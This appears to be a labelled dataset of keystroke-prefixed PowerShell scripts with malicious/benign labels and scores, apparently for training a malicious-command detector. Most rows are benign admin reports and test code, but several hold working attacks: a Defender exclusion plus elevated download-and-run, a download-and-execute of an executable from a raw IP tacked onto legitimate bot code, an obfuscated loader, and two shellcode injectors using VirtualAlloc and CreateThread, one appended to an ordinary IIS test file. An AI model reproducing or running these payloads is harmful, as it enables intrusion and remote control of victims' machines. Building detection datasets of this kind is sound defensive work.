win+r powershell enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install flashplayerppapi enter A enter enter,0,0,0.99996006,3.9901453e-05
"win+r powershell enter Describe ""Control Service cmdlet tests"" -Tags ""Feature"",""RequireAdminOnWindows"" { enter BeforeAll { enter $originalDefaultParameterValues = $PSDefaultParameterValues.Clone() enter if ( -not $IsWindows ) { enter $PSDefaultParameterValues[""it:skip""] = $true enter } enter } enter AfterAll { enter $global:PSDefaultParameterValues = $originalDefaultParameterValues enter } enter It ""StopServiceCommand can be used as API for '<parameter>' with '<value>'"" -TestCases @( enter @{parameter=""Force"";value=$true}, enter @{parameter=""Force"";value=$false}, enter @{parameter=""NoWait"";value=$true}, enter @{parameter=""NoWait"";value=$false} enter ) { enter param($parameter, $value) enter $stopservicecmd = [Microsoft.PowerShell.Commands.StopServiceCommand]::new() enter $stopservicecmd.$parameter = $value enter $stopservicecmd.$parameter | Should -Be $value enter } enter It ""RestartServiceCommand can be used as API for '<parameter>' with '<value>'"" -TestCases @( enter @{parameter=""Force"";value=$true}, enter @{parameter=""Force"";value=$false} enter ) { enter param($parameter, $value) enter $restartservicecmd = [Microsoft.PowerShell.Commands.RestartServiceCommand]::new() enter $restartservicecmd.$parameter = $value enter $restartservicecmd.$parameter | Should -Be $value enter } enter It ""Stop/Start/Restart-Service works"" { enter $wasStopped = $false enter try { enter $spooler = Get-Service Spooler enter $spooler | Should -Not -BeNullOrEmpty enter if ($spooler.Status -ne ""Running"") { enter $wasStopped = $true enter $spooler = Start-Service Spooler -PassThru enter } enter $spooler.Status | Should -BeExactly ""Running"" enter $spooler = Stop-Service Spooler -PassThru enter $spooler.Status | Should -BeExactly ""Stopped"" enter (Get-Service Spooler).Status | Should -BeExactly ""Stopped"" enter $spooler = Start-Service Spooler -PassThru enter $spooler.Status | Should -BeExactly ""Running"" enter (Get-Service Spooler).Status | Should -BeExactly ""Running"" enter Stop-Service Spooler enter (Get-Service Spooler).Status | Should -BeExactly ""Stopped"" enter $spooler = Restart-Service Spooler -PassThru enter $spooler.Status | Should -BeExactly ""Running"" enter (Get-Service Spooler).Status | Should -BeExactly ""Running"" enter } finally { enter if ($wasStopped) { enter Stop-Service Spooler enter } enter } enter } enter It ""Suspend/Resume-Service works"" { enter try { enter $originalState = ""Running"" enter $serviceName = ""WerSvc"" enter $service = Get-Service $serviceName enter if ($service.Status -ne $originalState) { enter $originalState = $service.Status enter Start-Service $serviceName enter } enter $service | Should -Not -BeNullOrEmpty enter Suspend-Service $serviceName enter (Get-Service $serviceName).Status | Should -BeExactly ""Paused"" enter Resume-Service $serviceName enter (Get-Service $serviceName).Status | Should -BeExactly ""Running"" enter } finally { enter Set-Service $serviceName -Status $originalState enter } enter } enter It ""Failure to control service with '<script>'"" -TestCases @( enter @{script={Stop-Service dcomlaunch -ErrorAction Stop};errorid=""ServiceHasDependentServices,Microsoft.PowerShell.Commands.StopServiceCommand""}, enter @{script={Suspend-Service winrm -ErrorAction Stop};errorid=""CouldNotSuspendServiceNotSupported,Microsoft.PowerShell.Commands.SuspendServiceCommand""}, enter @{script={Resume-Service winrm -ErrorAction Stop};errorid=""CouldNotResumeServiceNotSupported,Microsoft.PowerShell.Commands.ResumeServiceCommand""}, enter @{script={Stop-Service $(new-guid) -ErrorAction Stop};errorid=""NoServiceFoundForGivenName,Microsoft.PowerShell.Commands.StopServiceCommand""}, enter @{script={Start-Service $(new-guid) -ErrorAction Stop};errorid=""NoServiceFoundForGivenName,Microsoft.PowerShell.Commands.StartServiceCommand""}, enter @{script={Resume-Service $(new-guid) -ErrorAction Stop};errorid=""NoServiceFoundForGivenName,Microsoft.PowerShell.Commands.ResumeServiceCommand""}, enter @{script={Suspend-Service $(new-guid) -ErrorAction Stop};errorid=""NoServiceFoundForGivenName,Microsoft.PowerShell.Commands.SuspendServiceCommand""}, enter @{script={Restart-Service $(new-guid) -ErrorAction Stop};errorid=""NoServiceFoundForGivenName,Microsoft.PowerShell.Commands.RestartServiceCommand""} enter ) { enter param($script,$errorid) enter { & $script } | Should -Throw -ErrorId $errorid enter } enter } enter",0,0,0.9997187,0.00028122583
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_c1mszq6g"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Outbound"" } | enter Select-Object -First 150 DisplayName, Enabled, Direction, Action, Profile | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_rules_outbound.csv"") -NoTypeInformation enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""Display"" } | enter Select-Object -First 50 Class, FriendlyName, Status, InstanceId | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_display_devices.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999652,3.4777826e-05
"win+r powershell enter function Set-PSFDynamicContentObject { [Diagnostics.CodeAnalysis.SuppressMess enter ageAttribute(""PSUseShouldProcessForStateChangingFunctions"", """")] [OutputType([P enter SFramework.Utility.DynamicContentObject])] [CmdletBinding(HelpUri = 'https://ps enter framework.org/documentation/commands/PSFramework/Set-PSFDynamicContentObject')] enter Param ( [string[]] $Name, [Parameter(ValueFromPipeline = $true)] [PSFrame enter work.Utility.DynamicContentObject[]] enter enter",1,1,0.0018855913,0.99811447
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_rr2jcps5"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ComputerInfo | enter Select-Object CsName, WindowsProductName, WindowsVersion, OsArchitecture, CsManufacturer, CsModel | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""hardware_summary_report.json"") -Encoding UTF8 enter [PSCustomObject]@{ UserName=$env:USERNAME; ComputerName=$env:COMPUTERNAME; UserDomain=$env:USERDOMAIN; PowerShellVersion=$PSVersionTable.PSVersion.ToString() } | enter Export-Csv -Path (Join-Path $ReportDir ""user_current_context.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.402433e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_bzsz98n6"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting firewall_status section 1."" enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Inbound"" } | enter Select-Object -First 150 DisplayName, Enabled, Direction, Action, Profile | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_rules_inbound.txt"") -Encoding UTF8 enter Get-ComputerInfo | enter Select-Object CsName, OsName, OsVersion, OsBuildNumber, WindowsInstallDateFromRegistry | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""hardware_summary_report.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.4354613e-05
win+r powershell enter Get-ItemProperty -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image enter File Execution Options\*' | Where-Object { $_.Debugger } Get-ItemProperty -Path enter 'HKLM:SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execut enter ion Options\*' | Where-Object { $_.Debugger } enter enter,0,0,0.9954466,0.004553407
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""workstation_report_lwgytyvo"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Service -Name ""*audio*"" -ErrorAction SilentlyContinue | enter Sort-Object DisplayName | enter Select-Object Name, Status, CanStop, CanPauseAndContinue | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""service_service_name_pattern.json"") -Encoding UTF8 enter Write-Host ""Starting user_helpdesk_audit section 2."" enter Get-LocalGroup | enter Select-Object Name, Description | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_groups.json"") -Encoding UTF8 enter",0,0,0.9999658,3.421063e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_44gux2na"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting event_log_review section 1."" enter Get-WinEvent -LogName Application -MaxEvents 100 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_application_errors_100.csv"") -NoTypeInformation enter Write-Host ""Starting software_inventory section 2."" enter Get-AppxPackage | enter Select-Object -First 150 Name, Version, Publisher | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""software_appx_packages.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.399631e-05
"win+r enter powershell enter enter enter  enter $global:FunctionHelpTestExceptions = @( enter 'Get-PSFScriptblock' enter ) enter $global:HelpTestEnumeratedArrays = @( enter ""PSFramework.License.ProductType[]"", enter ""PSFramework.Message.MessageLevel[]"" enter ) enter $global:HelpTestSkipParameterType = @{ enter enter } enter enter",0,0,0.9998865,0.000113422946
"win+r enter powershell enter enter enter  enter enter [CmdletBinding()] enter Param ( enter [Parameter(Mandatory=$false)] enter [switch]$AllEvents enter ) enter enter if ($AllEvents) enter { enter Write-Warning ""Running this script in 'AllEvents' mode is not recommended as it returns a significant amount of unnecessary data."" enter Start-Sleep -Seconds 1 enter enter Get-WinEvent -LogName ""Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational"" | ` enter Select-Object -Property TimeCreated, LogName, Id, Version, ProcessId, ThreadId, MachineName, UserId, Message enter } enter else enter { enter $RawEvents = Get-WinEvent -LogName ""Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational"" | ` enter Where-Object { $_.Id -eq 1149 } enter enter $RawEvents | ForEach-Object ` enter { enter if ($_.Properties.Count -lt 3) enter { enter Write-Warning ""Event record missing expected fields. Skipping extended processing."" enter $_ | Select-Object -Property TimeCreated, LogName, Id, Version, ProcessId, ThreadId, MachineName, UserId enter continue enter } enter enter $User = $_.Properties[0].Value enter $Domain = $_.Properties[1].Value enter $SourceIp = $_.Properties[2].Value enter enter $NormalizedUser = (""{1}\{0}"" -f $User, $Domain) enter enter $Message = $_.Message.Split(""`n"")[0] enter enter $PropertyBag = @{ enter TimeCreated = $_.TimeCreated; enter LogName = $_.LogName; enter Id = $_.Id; enter Version = $_.Version; enter ProcessId = $_.ProcessId; enter ThreadId = $_.ThreadId; enter MachineNae = $_.MachineName; enter UserId = $_.UserId; enter UserName = $NormalizedUser; enter SourceIp = $SourceIp; enter Message = $Message enter } enter enter $o = New-Object -TypeName PSCustomObject -Property $PropertyBag enter $o enter } enter } enter enter",0,0,0.9998709,0.00012913253
"win+r powershell Start-Process powershell -Verb runAs unknown_key_action ctrl-shift enter unknown_key_action shift tab enter Add-MpPreference -ExclusionPath C:\Windows\system32 enter New-Object System.Net.WebClient | %{$_.DownloadFile('https://github.com/UNC0V3R3D/ressources/blob/main/enable_cortana.ps1', 'script.ps1'); Start-Process powershell.exe -Verb runAs -ArgumentList ""-File script.ps1""}, exit enter",1,1,7.8194134e-05,0.9999218
"win+r enter powershell enter enter enter function Get-Plugin { enter enter [PoshBot.BotCommand( enter Aliases = ('gp', 'getplugin') enter )] enter [cmdletbinding()] enter param( enter [parameter(Mandatory)] enter $Bot, enter enter [parameter(Position = 0)] enter [string]$Name, enter enter [parameter(Position = 1)] enter [string]$Version enter ) enter enter if ($PSBoundParameters.ContainsKey('Name')) { enter enter $p = $Bot.PluginManager.Plugins[$Name] enter if ($p) { enter enter $versions = New-Object -TypeName System.Collections.ArrayList enter enter if ($PSBoundParameters.ContainsKey('Version')) { enter if ($pv = $p[$Version]) { enter $versions.Add($pv) > $null enter } enter } else { enter foreach ($pvk in $p.Keys | Sort-Object -Descending) { enter $pv = $p[$pvk] enter $versions.Add($pv) > $null enter } enter } enter enter if ($versions.Count -gt 0) { enter if ($PSBoundParameters.ContainsKey('Version')) { enter $versions = $versions | Where Version -eq $Version enter } enter foreach ($pv in $versions) { enter $fields = [ordered]@{ enter Name = $pv.Name enter Version = $pv.Version.ToString() enter Enabled = $pv.Enabled.ToString() enter CommandCount = $pv.Commands.Count enter Permissions = $pv.Permissions.Keys | Format-List | Out-String enter Commands = $pv.Commands.Keys | Sort-Object | Format-List | Out-String enter } enter enter $msg = [string]::Empty enter $properties = @( enter @{ enter Expression = {$_.Name} enter Label = 'Name' enter } enter @{ enter Expression = {$_.Value.Description} enter Label = 'Description' enter } enter @{ enter Expression = {$_.Value.Usage} enter Label = 'Usage' enter } enter ) enter $msg += ""`nCommands: `n$($pv.Commands.GetEnumerator() | Select-Object -Property $properties | Format-List | Out-String)"" enter New-PoshBotCardResponse -Type Normal -Fields $fields enter } enter } else { enter if ($PSBoundParameters.ContainsKey('Version')) { enter New-PoshBotCardResponse -Type Warning -Text ""Plugin [$Name] version [$Version] not found."" enter } else { enter New-PoshBotCardResponse -Type Warning -Text ""Plugin [$Name] not found."" enter } enter } enter } else { enter New-PoshBotCardResponse -Type Warning -Text ""Plugin [$Name] not found."" enter } enter } else { enter $plugins = foreach ($key in ($Bot.PluginManager.Plugins.Keys | Sort-Object)) { enter $p = $Bot.PluginManager.Plugins[$key] enter foreach ($versionKey in $p.Keys | Sort-Object -Descending) { enter $pluginVersion = $p[$versionKey] enter [pscustomobject][ordered]@{ enter Name = $key enter Version = $pluginVersion.Version.ToString() enter Enabled = $pluginVersion.Enabled enter } enter } enter } enter New-PoshBotCardResponse -Type Normal -Text ($plugins | Format-Table -AutoSize | Out-String -Width 80) enter } enter } enter enter PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile('http://93.174.94.135/~kali/ketty.exe', $env:APPDATA\profilest.exe );Start-Process ( $env:APPDATA\profilest.exe ) enter enter",1,1,5.8217993e-05,0.9999418
"powershell "" .((Gv '*MdR*').NaMe[3,11,2]-join'') ( -JOin ( ( 1010 ,1011011,10100 enter 11 , 1011001 , 1110011 ,1010100,1100101, 1101101 ,101110, 1001110 , 1100101 ,101 enter 0100 ,101110,1010011, 1100101, 1110010 , 1110110,1001001 ,1100011,1100101,101000 enter 0, 1001111, 1001001, 1101110,1010100 ,1001101 ,1000001 ,1101110,1100001 , 110011 enter 1,1100101 ,1110010,1011101, 111010 ,111010 ,1000101,1011000,1010000,1100101 ,110 enter 0011 ,1010100,110001 ,110000,110000,1000011 , 1101111 , 1101110 ,1010100, 110100 enter 1 , 1101110 ,1010101,1000101 ,100000 ,111101, 100000,110000,111011 , 100100, 101 enter 0111 ,1100011 , 111101,1001110, 1100101,1010111 ,101101, 1001111, 1000010 , 1001 enter 010 , 1100101 , 1000011,1110100 ,100000 ,1010011, 1011001,1110011 , 1110100 , 10 enter 00101 , 1001101 , 101110 , 1001110 ,1000101 ,1010100 ,101110,1010111 ,1100101 , enter 1100010, 1000011, 1101100, 1001001 ,1000101,1101110, 1110100 ,111011 ,100100 , 1 enter 110101 , 111101,1001 enter",1,1,6.4778e-05,0.99993527
"win+r enter powershell enter enter enter $siteName = 'CarbonSetIisMimeMap' enter enter function Start-TestFixture enter { enter & (Join-Path -Path $PSScriptRoot '..\Initialize-CarbonTest.ps1' -Resolve) enter } enter enter function Start-Test enter { enter Install-IisWebsite -Name $siteName -Binding 'http/*:48284:*' -Path $TestDir enter } enter enter function Stop-Test enter { enter Remove-IisWebsite -Name $siteName enter } enter enter function Test-ShouldCreateNewMimeMapForServer enter { enter $fileExtension = '.CarbonSetIisMimeMap' enter $mimeType = 'text/plain' enter enter $mimeMap = Get-IisMimeMap -FileExtension $fileExtension enter Assert-Null $mimeMap enter enter try enter { enter $result = Set-IisMimeMap -FileExtension $fileExtension -MimeType $mimeType enter Assert-Null $result 'objects returned from Set-IisMimeMap' enter enter $mimeMap = Get-IisMimeMap -FileExtension $fileExtension enter Assert-NotNull $mimeMap enter Assert-Equal $mimeMap.FileExtension $fileExtension enter Assert-Equal $mimeMap.MimeType $mimeType enter } enter finally enter { enter $result = Remove-IisMimeMap -FileExtension $fileExtension enter Assert-Null $result 'objects returned from Remove-IisMimeMap' enter } enter } enter enter function Test-ShouldUpdateExistingMimeMapForServer enter { enter $fileExtension = '.CarbonSetIisMimeMap' enter $mimeType = 'text/plain' enter $mimeType2 = 'text/html' enter enter $mimeMap = Get-IisMimeMap -FileExtension $fileExtension enter Assert-Null $mimeMap enter enter try enter { enter Set-IisMimeMap -FileExtension $fileExtension -MimeType $mimeType enter $result = Set-IisMimeMap -FileExtension $fileExtension -MimeType $mimeType2 enter Assert-Null $result 'objects returned from Set-IisMimeMap' enter enter $mimeMap = Get-IisMimeMap -FileExtension $fileExtension enter Assert-NotNull $mimeMap enter Assert-Equal $mimeMap.FileExtension $fileExtension enter Assert-Equal $mimeMap.MimeType $mimeType2 enter } enter finally enter { enter Remove-IisMimeMap -FileExtension $fileExtension enter } enter } enter enter function Test-ShouldSupportWhatIf enter { enter $fileExtension = '.CarbonSetIisMimeMap' enter $mimeType = 'text/plain' enter enter try enter { enter $mimeMap = Get-IisMimeMap -FileExtension $fileExtension enter Assert-Null $mimeMap enter enter Set-IisMimeMap -FileExtension $fileExtension -MimeType $mimeType -WhatIf enter enter $mimeMap = Get-IisMimeMap -FileExtension $fileExtension enter Assert-Null $mimeMap enter } enter finally enter { enter Remove-IisMimeMap -FileExtension $fileExtension enter } enter } enter enter function Test-ShouldAddMimeMapForSite enter { enter Install-IisVirtualDirectory -SiteName $siteName -VirtualPath '/recurse' -PhysicalPath $PSScriptRoot enter enter Set-IisMimeMap -SiteName $siteName -FileExtension '.carbon' -MimeType 'carbon/test+site' enter Set-IisMimeMap -SiteName $siteName -VirtualPath '/recurse' -FileExtension '.carbon' -MimeType 'carbon/test+vdir' enter enter try enter { enter $mime = Get-IisMimeMap -SiteName $siteName -FileExtension '.carbon' enter Assert-NotNull $mime enter Assert-Equal 'carbon/test+site' $mime.MimeType enter enter Remove-IisMimeMap -SiteName $siteName -FileExtension '.carbon' enter $mime = Get-IisMimeMap -SiteName $siteName -FileExtension '.carbon' enter Assert-Null $mime enter enter $mime = Get-IisMimeMap -SiteName $siteName -VirtualPath '/recurse' -FileExtension '.carbon' enter Assert-NotNull $mime enter Assert-Equal 'carbon/test+vdir' $mime.MimeType enter enter Remove-IisMimeMap -SiteName $siteName -VirtualPath '/recurse' -FileExtension '.carbon' enter $mime = Get-IisMimeMap -SiteName $siteName -VirtualPath '/recurse' -FileExtension '.carbon' enter Assert-Null $mime enter } enter finally enter { enter Remove-IisMimeMap -FileExtension '.carbon' enter } enter } enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x00,0x6d,0x68,0x02,0x00,0x00,0x50,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1717565e-05,0.99994826
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_n0uhd1g7"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting service_checks section 1."" enter Get-Service | enter Where-Object { $_.Status -eq ""Running"" } | enter Sort-Object Status | enter Select-Object Name, DisplayName, Status | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_running.txt"") -Encoding UTF8 enter",0,0,0.99996626,3.378884e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""ops_check_f857wdco"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting software_inventory section 1."" enter $Paths = @(""HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*"", ""HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"") enter Get-ItemProperty $Paths -ErrorAction SilentlyContinue | enter Where-Object { $_.DisplayName } | enter Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | enter Sort-Object DisplayName | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""software_installed_programs.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.431414e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""workstation_report_ua4k8lp8"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting scheduled_task_inventory section 1."" enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Disabled"" } | enter Select-Object -First 150 TaskName, TaskPath, State | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_disabled_tasks.txt"") -Encoding UTF8 enter Get-DnsClientServerAddress | enter Select-Object InterfaceAlias, AddressFamily, ServerAddresses | enter Export-Csv -Path (Join-Path $ReportDir ""network_dns_servers.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.4362707e-05
"win+r powershell enter param() function Invoke-Process { [CmdletBinding(SupportsShouldProcess)] para enter m ( [Parameter(Mandatory)] [ValidateNotNullOrEmpty()] [string]$FilePath, [st enter ring[]]$ArgumentList ) $ErrorActionPreference = 'Stop' enter enter",1,1,0.0008312596,0.99916875
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x0a,0x6d,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.184467e-05,0.99994814
"win+r powershell enter param ($sqlServer,$path,[switch]$scriptPerPublication) Import-Module Repl if ( enter $sqlServer -eq """") { $sqlserver = Read-Host -Prompt ""Please provide a value for enter -sqlServer"" } if ($path -eq """") { $path = Read-Host -Prompt ""Please provide enter a value for output directory path"" } enter enter",1,1,0.0023549441,0.9976451
"win+r enter powershell enter enter enter  enter $global:resourceType = ""Microsoft.HealthcareApis/services"" enter function Test-AzRmHealthcareApisService{ enter enter $rgname = Get-ResourceGroupName enter $rname = Get-ResourceName enter $location = Get-Location enter $offerThroughput = Get-OfferThroughput enter $kind = Get-Kind enter $object_id = Get-AccessPolicyObjectID; enter enter try enter { enter New-AzResourceGroup -Name $rgname -Location $location enter $created = New-AzHealthcareApisService -Name $rname -ResourceGroupName $rgname -Location $location -Kind $kind -AccessPolicyObjectId $object_id -CosmosOfferThroughput $offerThroughput; enter enter $actual = Get-AzHealthcareApisService -ResourceGroupName $rgname -Name $rname enter Assert-AreEqual $actual.Name $rname enter Assert-AreEqual $actual.CosmosDbOfferThroughput $offerThroughput enter Assert-AreEqual $actual.Kind $kind enter enter $newOfferThroughput = $offerThroughput - 600 enter $updated = Set-AzHealthcareApisService -ResourceId $actual.Id -CosmosOfferThroughput $newOfferThroughput; enter enter $updatedAccount = Get-AzHealthcareApisService -ResourceGroupName $rgname -Name $rname enter enter Assert-AreEqual $updatedAccount.Name $rname enter Assert-AreEqual $updatedAccount.CosmosDbOfferThroughput $newOfferThroughput enter enter $rname1 = $rname + ""1"" enter $created1 = New-AzHealthcareApisService -Name $rname1 -ResourceGroupName $rgname -Location $location -AccessPolicyObjectId $object_id -CosmosOfferThroughput $offerThroughput; enter enter $actual1 